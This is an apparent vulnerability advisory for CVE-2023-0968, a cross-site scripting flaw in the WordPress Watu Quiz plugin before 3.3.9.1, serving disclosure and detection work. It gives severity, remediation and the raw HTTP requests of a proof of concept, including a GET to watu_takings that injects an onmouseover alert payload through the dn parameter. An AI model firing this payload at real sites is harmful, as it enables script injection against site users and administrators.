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CVE-2023-0968: WordPress Watu Quiz <3.3.9.1 - Cross-Site Scripting

TitleWordPress Watu Quiz <3.3.9.1 - Cross-Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts on the victim's browser.
RemediationFixed in version 3.3.9.1.
CVSS Score6.1
EPSS Score0.12288
CVE IDCVE-2023-0968
CWE IDCWE-79
Tags cve2023 cve wordpress wp wp-plugin xss watu authenticated wpscan kibokolabs vuln

🔍 Vulnerability Description

WordPress Watu Quiz plugin before 3.3.9.1 is susceptible to cross-site scripting. The plugin does not sanitize and escape some parameters, such as email, dn, date, and points, before outputting then back in a page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This exploit can be used against high-privilege users such as admin.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.15
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=TwQ8TM&pwd=MrbwHN&wp-submit=Log+In
GET /wp-admin/admin.php?page=watu_takings&exam_id=1&dn="%2Fonmouseover%3Dalert(document.domain)%2F%2F HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-0968.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-0968.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A